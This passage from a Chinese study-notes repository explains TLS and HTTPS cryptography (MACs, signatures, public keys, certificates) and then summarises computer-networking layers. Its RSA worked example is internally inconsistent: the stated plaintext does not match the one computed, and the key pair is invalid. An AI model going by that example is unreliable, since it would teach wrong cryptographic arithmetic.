相信看完这篇没人能难住你！](https://crossoverjie.top/2018/07/23/java-senior/ConcurrentHashMap/) \n- [HASHMAP、HASHTABLE、CONCURRENTHASHMAP的原理与区别](http://www.yuanrengu.com/index.php/2017-01-17.html)\n- [ConcurrentHashMap实现原理及源码分析](https://www.cnblogs.com/chengxiao/p/6842045.html)\n- [java-并发-ConcurrentHashMap高并发机制-jdk1.8](https://blog.csdn.net/jianghuxiaojin/article/details/52006118#commentBox)\n"
  },
  {
    "path": "docs/network/HTTPS中的TLS.md",
    "content": "<!-- TOC -->\n\n- [1. SSL 与 TLS](#1-ssl-%E4%B8%8E-tls)\n- [2. 从网络协议的角度理解 HTTPS](#2-%E4%BB%8E%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE%E7%9A%84%E8%A7%92%E5%BA%A6%E7%90%86%E8%A7%A3-https)\n- [3. 从密码学的角度理解 HTTPS](#3-%E4%BB%8E%E5%AF%86%E7%A0%81%E5%AD%A6%E7%9A%84%E8%A7%92%E5%BA%A6%E7%90%86%E8%A7%A3-https)\n  - [3.1. TLS 工作流程](#31-tls-%E5%B7%A5%E4%BD%9C%E6%B5%81%E7%A8%8B)\n  - [3.2. 密码基础](#32-%E5%AF%86%E7%A0%81%E5%9F%BA%E7%A1%80)\n    - [3.2.1. 伪随机数生成器](#321-%E4%BC%AA%E9%9A%8F%E6%9C%BA%E6%95%B0%E7%94%9F%E6%88%90%E5%99%A8)\n    - [3.2.2. 消息认证码](#322-%E6%B6%88%E6%81%AF%E8%AE%A4%E8%AF%81%E7%A0%81)\n    - [3.2.3. 数字签名](#323-%E6%95%B0%E5%AD%97%E7%AD%BE%E5%90%8D)\n    - [3.2.4. 公钥密码](#324-%E5%85%AC%E9%92%A5%E5%AF%86%E7%A0%81)\n    - [3.2.5. 证书](#325-%E8%AF%81%E4%B9%A6)\n    - [3.2.6. 密码小结](#326-%E5%AF%86%E7%A0%81%E5%B0%8F%E7%BB%93)\n  - [3.3. TLS 使用的密码技术](#33-tls-%E4%BD%BF%E7%94%A8%E7%9A%84%E5%AF%86%E7%A0%81%E6%8A%80%E6%9C%AF)\n  - [3.4. TLS 总结](#34-tls-%E6%80%BB%E7%BB%93)\n- [4. RSA 简单示例](#4-rsa-%E7%AE%80%E5%8D%95%E7%A4%BA%E4%BE%8B)\n- [5. 参考](#5-%E5%8F%82%E8%80%83)\n\n<!-- TOC -->\n\n# 1. SSL 与 TLS\n\nSSL：（Secure Socket Layer） 安全套接层，于 1994 年由网景公司设计，并于 1995 年发布了 3.0 版本  \nTLS：（Transport Layer Security）传输层安全性协议，是 IETF 在 SSL3.0 的基础上设计的协议  \n以下全部使用 TLS 来表示\n\n# 2. 从网络协议的角度理解 HTTPS\n\n![此图并不准确][1]  \nHTTP：HyperText Transfer Protocol 超文本传输协议  \nHTTPS：Hypertext Transfer Protocol Secure 超文本传输安全协议  \nTLS：位于 HTTP 和 TCP 之间的协议，其内部有 TLS握手协议、TLS记录协议  \nHTTPS 经由 HTTP 进行通信，但利用 TLS 来保证安全，即 HTTPS = HTTP + TLS\n\n# 3. 从密码学的角度理解 HTTPS\n\nHTTPS 使用 TLS 保证安全，这里的“安全”分两部分，一是传输内容加密、二是服务端的身份认证\n\n## 3.1. TLS 工作流程\n\n![此图并不准确][2]  \n此为服务端单向认证，还有客户端/服务端双向认证，流程类似，只不过客户端也有自己的证书，并发送给服务器进行验证\n\n## 3.2. 密码基础\n\n### 3.2.1. 伪随机数生成器\n\n为什么叫伪随机数，因为没有真正意义上的随机数，具体可以参考 Random/TheadLocalRandom  \n它的主要作用在于生成对称密码的秘钥、用于公钥密码生成秘钥对\n\n### 3.2.2. 消息认证码\n\n消息认证码主要用于验证消息的完整性与消息的认证，其中消息的认证指“消息来自正确的发送者”  \n\n>消息认证码用于验证和认证，而不是加密  \n\n![消息认证码过程][3]  \n\n1. 发送者与接收者事先共享秘钥\n2. 发送者根据发送消息计算 MAC 值\n3. 发送者发送消息和 MAC 值  \n4. 接收者根据接收到的消息计算 MAC 值\n5. 接收者根据自己计算的 MAC 值与收到的 MAC 对比\n6. 如果对比成功，说明消息完整，并来自与正确的发送者\n\n### 3.2.3. 数字签名\n\n消息认证码的缺点在于**无法防止否认**，因为共享秘钥被 client、server 两端拥有，server 可以伪造 client 发送给自己的消息（自己给自己发送消息），为了解决这个问题，我们需要它们有各自的秘钥不被第二个知晓（这样也解决了共享秘钥的配送问题）  \n\n![数字签名过程][4]  \n\n>数字签名和消息认证码都**不是为了加密**  \n>可以将单向散列函数获取散列值的过程理解为使用 md5 摘要算法获取摘要的过程  \n\n使用自己的私钥对自己所认可的消息生成一个该消息专属的签名，这就是数字签名，表明我承认该消息来自自己  \n注意：**私钥用于加签，公钥用于解签，每个人都可以解签，查看消息的归属人**  \n\n### 3.2.4. 公钥密码\n\n公钥密码也叫非对称密码，由公钥和私钥组成，它是最开始是为了解决秘钥的配送传输安全问题，即，我们不配送私钥，只配送公钥，私钥由本人保管    \n它与数字签名相反，公钥密码的私钥用于解密、公钥用于加密，每个人都可以用别人的公钥加密，但只有对应的私钥才能解开密文  \nclient：明文 + 公钥 = 密文  \nserver：密文 + 私钥 = 明文  \n注意：**公钥用于加密，私钥用于解密，只有私钥的归属者，才能查看消息的真正内容**   \n\n### 3.2.5. 证书\n\n证书：全称公钥证书（Public-Key Certificate, PKC）,里面保存着归属者的基本信息，以及证书过期时间、归属者的公钥，并由认证机构（Certification Authority, **CA**）施加数字签名，表明，某个认证机构认定该公钥的确属于此人  \n\n>想象这个场景：你想在支付宝页面交易，你需要支付宝的公钥进行加密通信，于是你从百度上搜索关键字“支付宝公钥”，你获得了支什宝的公钥，这个时候，支什宝通过中间人攻击，让你访问到了他们支什宝的页面，最后你在这个支什宝页面完美的使用了支什宝的公钥完成了与支什宝的交易\n>![证书过程][5]   \n\n在上面的场景中，你可以理解支付宝证书就是由支付宝的公钥、和给支付宝颁发证书的企业的数字签名组成  \n任何人都可以给自己或别人的公钥添加自己的数字签名，表明：我拿我的尊严担保，我的公钥/别人的公钥是真的，至于信不信那是另一回事了\n\n### 3.2.6. 密码小结\n\n| 密码 | 作用 | 组成 | \n| :-- | :-- | :-- |\n| 消息认证码 | 确认消息的完整、并对消息的来源认证 | 共享秘钥+消息的散列值 |\n| 数字签名   | 对消息的散列值签名 | 公钥+私钥+消息的散列值 |\n| 公钥密码   | 解决秘钥的配送问题 | 公钥+私钥+消息 |\n| 证书      | 解决公钥的归属问题 | 公钥密码中的公钥+数字签名 |\n\n## 3.3. TLS 使用的密码技术\n\n1. 伪随机数生成器：秘钥生成随机性，更难被猜测\n2. 对称密码：对称密码使用的秘钥就是由伪随机数生成，相较于非对称密码，效率更高\n3. 消息认证码：保证消息信息的完整性、以及验证消息信息的来源\n4. 公钥密码：证书技术使用的就是公钥密码\n5. 数字签名：验证证书的签名，确定由真实的某个 CA 颁发 \n6. 证书：解决公钥的真实归属问题，降低中间人攻击概率   \n\n## 3.4. TLS 总结\n\nTLS 是一系列密码工具的框架，作为框架，它也是非常的灵活，体现在每个工具套件它都可以替换，即：客户端与服务端之间协商密码套件，从而更难的被攻破，例如使用不同方式的对称密码，或者公钥密码、数字签名生成方式、单向散列函数技术的替换等\n\n# 4. RSA 简单示例\n\nRSA 是一种公钥密码算法，我们简单的走一遍它的加密解密过程  \n加密算法：密文 = (明文^E) mod N，其中公钥为{E,N}，即”求明文的E次方的对 N 的余数“  \n解密算法：明文 = (密文^D) mod N，其中秘钥为{D,N}，即”求密文的D次方的对 N 的余数“  \n例：我们已知公钥为{5,323}，私钥为{29,323}，明文为300，请写出加密和解密的过程：  \n>加密：密文 = 123 ^ 5 mod 323 = 225  \n>解密：明文 = 225 ^ 29 mod 323 = [[(225 ^ 5) mod 323] * [(225 ^ 5) mod 323] * [(225 ^ 5) mod 323] * [(225 ^ 5) mod 323] * [(225 ^ 5) mod 323] * [(225 ^ 4) mod 323]] mod 323 = (4 * 4 * 4 * 4 * 4 * 290) mod 323 = 123\n\n# 5. 参考\n\n1. SSL加密发生在哪里：<https://security.stackexchange.com/questions/19681/where-does-ssl-encryption-take-place>  \n2. TLS工作流程：<https://blog.csdn.net/ustccw/article/details/76691248>  \n3. 《图解密码技术》：<https://book.douban.com/subject/26822106/> 豆瓣评分 9.5\n\n[1]: https://leran2deeplearnjavawebtech.oss-cn-beijing.aliyuncs.com/somephoto/%E4%B8%83%E5%B1%82.png\n[2]: https://leran2deeplearnjavawebtech.oss-cn-beijing.aliyuncs.com/somephoto/tls%E6%B5%81%E7%A8%8B.png\n[3]: https://leran2deeplearnjavawebtech.oss-cn-beijing.aliyuncs.com/somephoto/%E6%B6%88%E6%81%AF%E8%AE%A4%E8%AF%81%E7%A0%81%E8%BF%87%E7%A8%8B.png\n[4]: https://leran2deeplearnjavawebtech.oss-cn-beijing.aliyuncs.com/somephoto/%E6%95%B0%E5%AD%97%E7%AD%BE%E5%90%8D%E8%BF%87%E7%A8%8B.png\n[5]: https://leran2deeplearnjavawebtech.oss-cn-beijing.aliyuncs.com/somephoto/dns%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB.png"
  },
  {
    "path": "docs/network/干货：计算机网络知识总结.md",
    "content": "> # 目录结构\n### 1. [计算机概述 ](#一计算机概述)\n### 2. [物理层 ](#二物理层)\n### 3. [数据链路层 ](#三数据链路层 )\n### 4. [网络层 ](#四网络层 )\n### 5. [运输层 ](#五运输层 )\n### 6. [应用层](#六应用层)\n\n\n## 一计算机概述\n### <font color=\"#003333\">（1），基本术语<font>\n\n#### <font  color=\"#99CC33\">  结点 （node）：<font>\n\n    网络中的结点可以是计算机，集线器，交换机或路由器等。\n#### <font  color=\"#99CC33\">  链路（link  ）：\n\n    从一个结点到另一个结点的一段物理线路。中间没有任何其他交点。\n#### <font  color=\"#99CC33\"> 主机（host）：\n    连接在因特网上的计算机.\n#### <font  color=\"#99CC33\"> ISP（Internet Service Provider）： \n    因特网服务提供者（提供商）.\n#### <font  color=\"#99CC33\"> IXP（Internet eXchange Point）： \n    互联网交换点IXP的主要作用就是允许两个网络直接相连并交换分组，而不需要再通过第三个网络来转发分组。.\n#### <font  color=\"#99CC33\"> RFC(Request For Comments) \n    意思是“请求评议”，包含了关于Internet几乎所有的重要的文字资料。\n#### <font  color=\"#99CC33\"> 广域网WAN（Wide Area Network）\n    任务是通过长距离运送主机发送的数据\n#### <font  color=\"#99CC33\"> 城域网MAN（Metropolitan Area Network）\n    用来讲多个局域网进行互连\n\n#### <font  color=\"#99CC33\"> 局域网LAN（Local Area Network）\n     学校或企业大多拥有多个互连的局域网\n#### <font  color=\"#99CC33\"> 个人区域网PAN（Personal Area Network）\n    在个人工作的地方把属于个人使用的电子设备用无线技术连接起来的网络  \n####  <font  color=\"#99CC33\">  端系统（end system）：  \n    处在因特网边缘的部分即是连接在因特网上的所有的主机.\n#### <font  color=\"#99CC33\"> 分组（packet ）：\n    因特网中传送的数据单元。由首部header和数据段组成。分组又称为包，首部可称为包头。\n#### <font  color=\"#99CC33\"> 存储转发（store and forward ）: \n    路由器收到一个分组，先存储下来，再检查气首部，查找转发表，按照首部中的目的地址，找到合适的接口转发出去。\n#### <font  color=\"#99CC33\"> 带宽（bandwidth）：\n    在计算机网络中，表示在单位时间内从网络中的某一点到另一点所能通过的“最高数据率”。常用来表示网络的通信线路所能传送数据的能力。单位是“比特每秒”，记为b/s。\n#### <font  color=\"#99CC33\"> 吞吐量（throughput ）： \n    表示在单位时间内通过某个网络（或信道、接口）的数据量。吞吐量更经常地用于对现实世界中的网络的一种测量，以便知道实际上到底有多少数据量能够通过网络。吞吐量受网络的带宽或网络的额定速率的限制。\n\n### <font color=\"#003333\">（2），重要知识点总结<font>\n\n <font color=\"#999999\">1，计算机网络（简称网络）把许多计算机连接在一起，而互联网把许多网络连接在一起，是网络的网络。\n\n <font color=\"#999999\">2，小写字母i开头的internet（互联网）是通用名词，它泛指由多个计算机网络相互连接而成的网络。在这些网络之间的通信协议（即通信规则）可以是任意的。\n\n <font color=\"#999999\">大写字母I开头的Internet（互联网）是专用名词，它指全球最大的，开放的，由众多网络相互连接而成的特定的互联网，并采用TCP/IP协议作为通信规则，其前身为ARPANET。Internet的推荐译名为因特网，现在一般流行称为互联网。\n\n <font color=\"#999999\">3，路由器是实现分组交换的关键构件，其任务是转发受到的分组，这是网络核心部分最重要的功能。分组交换采用存储转发技术，表示把一个报文（要发送的整块数据）分为几个分组后在进行传送。在发送报文之前，先把较长的报文划分成为一个个更小的等长数据段。在每个数据端的前面加上一些由必要的控制信息组成的首部后，就构成了一个分组。分组有称为包。分组是在互联网中传送的数据单元，正式由于分组的头部包含了诸如目的地址和源地址等重要控制信息，每一个分组才能在互联网中独立的选择传输路径，并正确地交付到分组传输的终点。\n\n<font color=\"#999999\">4，互联网按工作方式可划分为边缘部分和核心部分。主机在网络的边缘部分，其作用是进行信息处理。由大量网络和连接这些网络的路由西组成边缘部分，其作用是提供连通性和交换。\n\n <font color=\"#999999\">5，计算机通信是计算机中进程（即运行着的程序）之间的通信。计算机网络采用的通信方式是客户-服务器方式（C/S方式）和对等连接方式（P2P方式）。\n \n <font color=\"#999999\">6，客户和服务器都是指通信中所涉及的应用进程。客户是服务请求方，服务器是服务提供方。\n \n<font color=\"#999999\">7，按照作用范围的不同，计算机网络分为广域网WAN，城域网MAN,局域网LAN，个人区域网PAN。\n\n <font color=\"#999999\">8，计算机网络最常用的性能指标是：速率，带宽，吞吐量，时延（发送时延，处理时延，排队时延），时延带宽积，往返时间和信道利用率。\n \n <font color=\"#999999\">9，网络协议即协议，是为进行网络中的数据交换而建立的规则。计算机网络的各层以及其协议集合，称为网络的体系结构。\n \n <font color=\"#999999\">10，五层体系结构由应用层，运输层，网络层（网际层），数据链路层，物理层组成。运输层最主要的协议是TCP和UDP协议，网络层最重要的协议是IP协议。\n\n## 二物理层\n### <font color=\"#003333\">（1），基本术语<font>\n#### <font  color=\"#99CC33\">数据（data）：<font>\n    运送消息的实体。\n#### <font  color=\"#99CC33\">信号（signal）：<font>\n    数据的电气的或电磁的表现。或者说信号是适合在传输介质上传输的对象。\n#### <font  color=\"#99CC33\">码元（ code）： <font>\n    在使用时间域（或简称为时域）的波形来表示数字信号时，代表不同离散数值的基本波形。\n#### <font  color=\"#99CC33\">单工（simplex ）：<font>\n    只能有一个方向的通信而没有反方向的交互。\n#### <font  color=\"#99CC33\">半双工（half duplex ）：<font>\n    通信的双方都可以发送信息，但不能双方同时发送(当然也就不能同时接收)。\n#### <font  color=\"#99CC33\">全双工（full duplex）： <font>\n    通信的双方可以同时发送和接收信息。\n#### <font  color=\"#99CC33\">奈氏准则：<font>\n    在任何信道中，码元的传输的效率是有上限的，传输速率超过此上限，就会出现严重的码间串扰问题，使接收端对码元的判决（即识别）成为不可能。\n#### <font  color=\"#99CC33\">基带信号（baseband signal）：<font>\n    来自信源的信号。指没有经过调制的数字信号或模拟信号。\n#### <font  color=\"#99CC33\"> 带通（频带）信号（bandpass signal）：<font>\n    把基带信号经过载波调制后，把信号的频率范围搬移到较高的频段以便在信道中传输（即仅在一段频率范围内能够通过信道），这里调制过后的信号就是带通信号。\n#### <font  color=\"#99CC33\"> 调制（modulation  ）：<font>\n    对信号源的信息进行处理后加到载波信号上，使其变为适合在信道传输的形式的过程。\n#### <font  color=\"#99CC33\">信噪比（signal-to-noise ratio ）：<font>\n    指信号的平均功率和噪声的平均功率之比，记为S/N。信噪比（dB）=10*log10（S/N）\n#### <font  color=\"#99CC33\">信道复用（channel multiplexing ）：<font>\n    指多个用户共享同一个信道。（并不一定是同时）\n#### <font  color=\"#99CC33\">比特率（bit rate ）：<font>\n    单位时间（每秒）内传送的比特数。\n#### <font  color=\"#99CC33\">波特率（baud rate）：<font>\n    单位时间载波调制状态改变的次数。针对数据信号对载波的调制速率。\n#### <font  color=\"#99CC33\">复用（multiplexing）：<font>\n    共享信道的方法\n#### <font  color=\"#99CC33\">ADSL（Asymmetric Digital Subscriber Line    ）： <font>\n    非对称数字用户线。\n#### <font  color=\"#99CC33\">光纤同轴混合网（HFC网）:<font>\n    在目前覆盖范围很广的有线电视网的基础上开发的一种居民宽带接入网\n\n### <font color=\"#003333\">（2），重要知识点总结<font>\n\n <font color=\"#999999\">1，物理层的主要任务就是确定与传输媒体接口有关的一些特性，如机械特性，电气特性，功能特性，过程特性。</font>\n\n <font color=\"#999999\">2，一个数据通信系统可划分为三大部分，即源系统，传输系统，目的系统。源系统包括源点（或源站，信源）和发送器，目的系统包括接收器和终点。</font>\n\n <font color=\"#999999\">3，通信的目的是传送消息。如话音，文字，图像等都是消息，数据是运送消息的实体。信号则是数据的电器或电磁的表现。</font>\n\n <font color=\"#999999\">4，根据信号中代表消息的参数的取值方式不同，信号可分为模拟信号（或连续信号）和数字信号（或离散信号）。在使用时间域（简称时域）的波形表示数字信号时，代表不同离散数值的基本波形称为码元。</font>\n\n <font color=\"#999999\">5，根据双方信息交互的方式，通信可划分为单向通信（或单工通信），双向交替通信（或半双工通信），双向同时通信（全双工通信）。</font>\n\n <font color=\"#999999\">6，来自信源的信号称为基带信号。信号要在信道上传输就要经过调制。调制有基带调制和带通调制之分。最基本的带通调制方法有调幅，调频和调相。还有更复杂的调制方法，如正交振幅调制。</font>\n\n <font color=\"#999999\">7，要提高数据在信道上的传递速率，可以使用更好的传输媒体，或使用先进的调制技术。但数据传输速率不可能任意被提高。</font>\n\n <font color=\"#999999\">8，传输媒体可分为两大类，即导引型传输媒体（双绞线，同轴电缆，光纤）和非导引型传输媒体（无线，红外，大气激光）。</font>\n\n <font color=\"#999999\">9，为了有效利用光纤资源，在光纤干线和用户之间广泛使用无源光网络PON。无源光网络无需配备电源，其长期运营成本和管理成本都很低。最流行的无源光网络是以太网无源光网络EPON和吉比特无源光网络GPON。</font>\n\n### <font color=\"#003333\">（3），最重要的知识点<font>\n#### <font color=\"#003333\">**①，物理层的任务**<font>\n <font color=\"#999999\">透明地传送比特流。也可以将物理层的主要任务描述为确定与传输媒体的接口的一些特性，即：机械特性（接口所用接线器的一些物理属性如形状尺寸），电气特性（接口电缆的各条线上出现的电压的范围），功能特性（某条线上出现的某一电平的电压的意义），过程特性（对于不同功能能的各种可能事件的出现顺序）。</font>\n\n#### 拓展：\n <font color=\"#999999\">物理层考虑的是怎样才能在连接各种计算机的传输媒体上传输数据比特流，而不是指具体的传输媒体。现有的计算机网络中的硬件设备和传输媒体的种类非常繁多，而且通信手段也有许多不同的方式。物理层的作用正是尽可能地屏蔽掉这些传输媒体和通信手段的差异，使物理层上面的数据链路层感觉不到这些差异，这样就可以使数据链路层只考虑完成本层的协议和服务，而不必考虑网络的具体传输媒体和通信手段是什么。</font>\n\n#### <font color=\"#003333\">**②，几种常用的信道复用技术**<font>\n![这里写图片描述](https://user-gold-cdn.xitu.io/2018/4/1/1627f7a170ec6611?w=1247&h=425&f=png&s=36746)\n\n### <font color=\"#003333\">**③，几种常用的宽带接入技术，主要是ADSL和FTTx**<font>\n <font color=\"#999999\">用户到互联网的宽带接入方法有非对称数字用户线ADSL（用数字技术对现有的模拟电话线进行改造，而不需要重新布线。ASDL的快速版本是甚高速数字用户线VDSL。），光纤同轴混合网HFC（是在目前覆盖范围很广的有线电视网的基础上开发的一种居民宽带接入网）和FTTx（即光纤到······）。</font>\n\n## 三数据链路层\n### <font color=\"#003333\">（1），基本术语<font>\n\n#### <font  color=\"#99CC33\"> 链路（link）：<font>\n    一个结点到相邻结点的一段物理链路\n#### <font  color=\"#99CC33\"> 数据链路（data link）：<font>\n    把实现控制数据运输的协议的硬件和软件加到链路上就构成了数据链路\n#### <font  color=\"#99CC33\"> 循环冗余检验CRC（Cyclic Redundancy Check）：<font>\n    为了保证数据传输的可靠性，CRC是数据链路层广泛使用的一种检错技术\n#### <font  color=\"#99CC33\">  帧（frame）：<font>\n    一个数据链路层的传输单元，由一个数据链路层首部和其携带的封包所组成协议数据单元。\n#### <font  color=\"#99CC33\"> MTU（Maximum Transfer Uint  ）：<font>\n    最大传送单元。帧的数据部分的的长度上限。\n#### <font  color=\"#99CC33\"> 误码率BER（Bit Error Rate ）：<font>\n    在一段时间内，传输错误的比特占所传输比特总数的比率。\n#### <font  color=\"#99CC33\"> PPP（Point-to-Point Protocol  ）：<font>\n    点对点协议。即用户计算机和ISP进行通信时所使用的数据链路层协议。以下是PPP帧的示意图:\n![PPP](https://user-gold-cdn.xitu.io/2018/4/1/1627f8291c6b032c?w=624&h=359&f=jpeg&s=44271)\n#### <font  color=\"#99CC33\"> MAC地址（Media Access Control或者Medium Access Control）：<font>\n    意译为媒体访问控制，或称为物理地址、硬件地址，用来定义网络设备的位置。\n    在OSI模型中，第三层网络层负责 IP地址，第二层数据链路层则负责 MAC地址。\n    因此一个主机会有一个MAC地址，而每个网络位置会有一个专属于它的IP地址  。\n    地址是识别某个系统的重要标识符，“名字指出我们所要寻找的资源，地址指出资源所在的地方，路由告诉我们如何到达该处”\n#### <font  color=\"#99CC33\"> 网桥（bridge）：<font>\n     一种用于数据链路层实现中继，连接两个或多个局域网的网络互连设备。\n#### <font  color=\"#99CC33\"> 交换机（switch ）：<font>\n    广义的来说，交换机指的是一种通信系统中完成信息交换的设备。这里工作在数据链路层的交换机指的是交换式集线器，其实质是一个多接口的网桥\n   \n\n### <font color=\"#003333\">（2），重要知识点总结<font>\n\n<font color=\"#999999\">1，链路是从一个结点到相邻节点的一段物理链路，数据链路则在链路的基础上增加了一些必要的硬件（如网络适配器）和软件（如协议的实现）</font>\n\n<font color=\"#999999\">2，数据链路层使用的主要是**点对点信道**和**广播信道**两种。</font>\n\n<font color=\"#999999\">3，数据链路层传输的协议数据单元是帧。数据链路层的三个基本问题是：**封装成帧**，**透明传输**和**差错检测**</font>\n\n<font color=\"#999999\">4，**循环冗余检验CRC**是一种检错方法，而帧检验序列FCS是添加在数据后面的冗余码</font>\n\n<font color=\"#999999\">5，**点对点协议PPP**是数据链路层使用最多的一种协议，它的特点是：简单，只检测差错而不去纠正差错，不使用序号，也不进行流量控制，可同时支持多种网络层协议</font>\n\n<font color=\"#999999\"> 6，PPPoE是为宽带上网的主机使用的链路层协议</font>\n\n<font color=\"#999999\">7，局域网的优点是：具有广播功能，从一个站点可方便地访问全网；便于系统的扩展和逐渐演变；提高了系统的可靠性，可用性和生存性。</font>\n\n<font color=\"#999999\">8，共向媒体通信资源的方法有二：一是静态划分信道(各种复用技术)，而是动态媒体接入控制，又称为多点接入（随即接入或受控接入）</font>\n\n<font color=\"#999999\">9，计算机与外接局域网通信需要通过通信适配器（或网络适配器），它又称为网络接口卡或网卡。**计算器的硬件地址就在适配器的ROM中**。</font>\n\n<font color=\"#999999\">10，以太网采用的无连接的工作方式，对发送的数据帧不进行编号，也不要求对方发回确认。目的站收到有差错帧就把它丢掉，其他什么也不做</font>\n\n<font color=\"#999999\">11，以太网采用的协议是具有冲突检测的**载波监听多点接入CSMA/CD**。协议的特点是：**发送前先监听，边发送边监听，一旦发现总线上出现了碰撞，就立即停止发送。然后按照退避算法等待一段随机时间后再次发送。** 因此，每一个站点在自己发送数据之后的一小段时间内，存在这遭遇碰撞的可能性。以太网上的各站点平等的争用以太网信道</font>\n\n<font color=\"#999999\">12，以太网的适配器具有过滤功能，它只接收单播帧，广播帧和多播帧。</font>\n\n<font color=\"#999999\">13，使用集线器可以在物理层扩展以太网（扩展后的以太网任然是一个网络）</font>\n### <font color=\"#003333\">（3），最重要的知识点<font>\n#### ① <font color=\"#999999\">数据链路层的点对点信道和广播信道的特点，以及这两种信道所使用的协议（PPP协议以及CSMA/CD协议）的特点<font>\n#### ② <font color=\"#999999\">数据链路层的三个基本问题：**封装成帧**，**透明传输**，**差错检测**<font>\n#### ③ <font color=\"#999999\">以太网的MAC层硬件地址<font>\n#### ④ <font color=\"#999999\">适配器，转发器，集线器，网桥，以太网交换机的作用以及适用场合<font>\n\n## <font color=\"#003333\" id=\"4\">四网络层<font>\n### <font color=\"#003333\">（1），基本术语<font>\n\n#### <font  color=\"#99CC33\">虚电路（Virtual Circuit）：<font>\n    在两个终端设备的逻辑或物理端口之间，通过建立的双向的透明传输通道。虚电路表示这只是一条逻辑上的连接，分组都沿着这条逻辑连接按照存储转发方式传送，而并不是真正建立了一条物理连接。\n#### <font  color=\"#99CC33\">IP（Internet Protocol ）：<font>\n    网际协议 IP 是 TCP/IP体系中两个最主要的协议之一，是TCP/IP体系结构网际层的核心。配套的有ARP，RARP，ICMP，IGMP。\n ![这里写图片描述](https://user-gold-cdn.xitu.io/2018/4/1/1627f92f98436286?w=453&h=331&f=jpeg&s=27535)\n#### <font  color=\"#99CC33\">ARP（Address Resolution Protocol）：<font>\n    地址解析协议\n#### <font  color=\"#99CC33\">ICMP（Internet Control Message Protocol ）：<font>\n    网际控制报文协议  （ICMP 允许主机或路由器报告差错情况和提供有关异常情况的报告。）\n#### <font  color=\"#99CC33\">子网掩码（subnet mask ）：<font>\n    它是一种用来指明一个IP地址的哪些位标识的是主机所在的子网以及哪些位标识的是主机的位掩码。子网掩码不能单独存在，它必须结合IP地址一起使用。\n#### <font  color=\"#99CC33\"> CIDR（ Classless Inter-Domain Routing ）：<font>\n    无分类域间路由选择  （特点是消除了传统的 A 类、B 类和 C 类地址以及划分子网的概念，并使用各种长度的“网络前缀”(network-prefix)来代替分类地址中的网络号和子网号）\n#### <font  color=\"#99CC33\">默认路由（default route）：<font>\n    当在路由表中查不到能到达目的地址的路由时，路由器选择的路由。默认路由还可以减小路由表所占用的空间和搜索路由表所用的时间。\n#### <font  color=\"#99CC33\">路由选择算法（Virtual Circuit）：<font>\n    路由选择协议的核心部分。因特网采用自适应的，分层次的路由选择协议。\n\n### <font color=\"#003333\">（2），重要知识点总结<font>\n<font color=\"#999999\">1，TCP/IP协议中的网络层向上只提供简单灵活的，无连接的，尽最大努力交付的数据报服务。网络层不提供服务质量的承诺，不保证分组交付的时限所传送的分组可能出错，丢失，重复和失序。进程之间通信的可靠性由运输层负责</font>\n\n<font color=\"#999999\">2，在互联网的交付有两种，一是在本网络直接交付不用经过路由器，另一种是和其他网络的间接交付，至少经过一个路由器，但最后一次一定是直接交付</font>\n\n<font color=\"#999999\">3，分类的IP地址由网络号字段（指明网络）和主机号字段（指明主机）组成。网络号字段最前面的类别指明IP地址的类别。IP地址市一中分等级的地址结构。IP地址管理机构分配IP地址时只分配网络号，主机号由得到该网络号的单位自行分配。路由器根据目的主机所连接的网络号来转发分组。一个路由器至少连接到两个网络，所以一个路由器至少应当有两个不同的IP地址</font>\n\n<font color=\"#999999\">4，IP数据报分为首部和数据两部分。首部的前一部分是固定长度，共20字节，是所有IP数据包必须具有的（源地址，目的地址，总长度等重要地段都固定在首部）。一些长度可变的可选字段固定在首部的后面。IP首部中的生存时间给出了IP数据报在互联网中所能经过的最大路由器数。可防止IP数据报在互联网中无限制的兜圈子。</font>\n\n<font color=\"#999999\">5，地址解析协议ARP把IP地址解析为硬件地址。ARP的高速缓存可以大大减少网络上的通信量。因为这样可以使主机下次再与同样地址的主机通信时，可以直接从高速缓存中找到所需要的硬件地址而不需要再去广播方式发送ARP请求分组</font>\n\n<font color=\"#999999\">6，无分类域间路由选择CIDR是解决目前IP地址紧缺的一个好办法。CIDR记法把IP地址后面加上斜线“/”，然后写上前缀所所占的位数。前缀（或网络前缀用来指明网络），前缀后面的部分是后缀，用来指明主机。CIDR把前缀都相同的连续的IP地址组成一个“CIDR地址块”，IP地址分配都以CIDR地址块为单位。</font>\n\n<font color=\"#999999\">7， 网际控制报文协议是IP层的协议.ICMP报文作为IP数据报的数据，加上首部后组成IP数据报发送出去。使用ICMP数据报并不是为了实现可靠传输。ICMP允许主机或路由器报告差错情况和提供有关异常情况的报告。ICMP报文的种类有两种   ICMP差错报告报文和ICMP询问报文。</font>\n\n<font color=\"#999999\">8，要解决IP地址耗尽的问题，最根本的办法是采用具有更大地址弓箭的新版本IP协议-IPv6。IPv6所带来的变化有①更大的地址空间（采用128位地址）②灵活的首部格式③改进的选项④支持即插即用⑤支持资源的预分配⑥IPv6的首部改为8字节对齐。另外IP数据报的目的地址可以是以下三种基本类型地址之一：单播，多播和任播</font>\n\n<font color=\"#999999\">9，虚拟专用网络VPN利用公用的互联网作为本机构专用网之间的通信载体。VPN内使用互联网的专用地址。一个VPN至少要有一个路由器具有合法的全球IP地址，这样才能和本系统的另一个VPN通过互联网进行通信。所有通过互联网传送的数据都需要加密</font>\n\n<font color=\"#999999\">10， MPLS的特点是：①支持面向连接的服务质量②支持流量工程，平衡网络负载③有效的支持虚拟专用网VPN。MPLS在入口节点给每一个IP数据报打上固定长度的“标记”，然后根据标记在第二层（链路层）用硬件进行转发（在标记交换路由器中进行标记交换），因而转发速率大大加快。</font>\n\n### <font color=\"#003333\">（3），最重要知识点<font>\n#### ① <font color=\"#999999\">虚拟互联网络的概念\n#### ② <font color=\"#999999\">IP地址和物理地址的关系\n#### ③ <font color=\"#999999\"> 传统的分类的IP地址（包括子网掩码）和误分类域间路由选择CIDR\n#### ④ <font color=\"#999999\">  路由选择协议的工作原理\n\n## <font color=\"#003333\" id=\"5\">五运输层<font>\n\n### <font color=\"#003333\">（1），基本术语<font>\n\n#### <font  color=\"#99CC33\">进程（process）：<font>\n    指计算机中正在运行的程序实体\n#### <font  color=\"#99CC33\">应用进程互相通信：<font>\n    一台主机的进程和另一台主机中的一个进程交换数据的过程（另外注意通信真正的端点不是主机而是主机中的进程，也就是说端到端的通信是应用进程之间的通信）\n#### <font  color=\"#99CC33\">传输层的复用与分用：<font>\n    复用指发送方不同的进程都可以通过统一个运输层协议传送数据。分用指接收方的运输层在剥去报文的首部后能把这些数据正确的交付到目的应用进程。 \n#### 